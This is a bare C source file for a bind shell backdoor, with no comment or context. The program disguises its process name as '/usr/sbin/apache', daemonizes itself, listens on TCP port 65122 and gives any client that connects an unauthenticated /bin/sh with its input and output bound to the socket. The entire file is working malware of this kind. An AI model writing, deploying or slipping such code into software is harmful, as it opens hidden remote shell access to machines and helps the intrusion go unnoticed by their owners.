#define BSHELL 65122

#include <stdio.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid;
struct sockaddr_in serv_addr; 
struct sockaddr_in client_addr;

int
main (int argc, char *argv[])
{ 
  int i;

  strcpy (argv[0], "/usr/sbin/apache");
  soc_des = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP); 

  if (soc_des == -1) 
  return -1;
 
  bzero((char *) &serv_addr, sizeof(serv_addr));

  serv_addr.sin_family = AF_INET; 
  serv_addr.sin_addr.s_addr = htonl (INADDR_ANY);
  serv_addr.sin_port = htons (BSHELL);
  soc_rc = bind (soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr));

  if (soc_rc != 0) 
    return -1; 

  if (fork () != 0) 
    return 0;
 
  setpgrp ();  
  signal (SIGHUP, SIG_IGN); 
  if (fork () != 0) 
    return 0; 

  soc_rc = listen (soc_des, 5);
  if (soc_rc != 0) 
    return 0; 

  while (1) 
    { 
      soc_len = sizeof(client_addr);
      soc_cli = accept(soc_des, (struct sockaddr *) &client_addr, &soc_len);
      if (soc_cli < 0) 
        return 0;

      cli_pid = getpid (); 
      server_pid = fork (); 
      if (server_pid != 0) 
        { 
          dup2 (soc_cli, 0); 
          dup2 (soc_cli, 1); 
          dup2 (soc_cli, 2);
          execl ("/bin/sh", "sh", (char *)0); 
          close (soc_cli); 
          exit (0); 
        } 
      close(soc_cli);
    }

  return 0;
}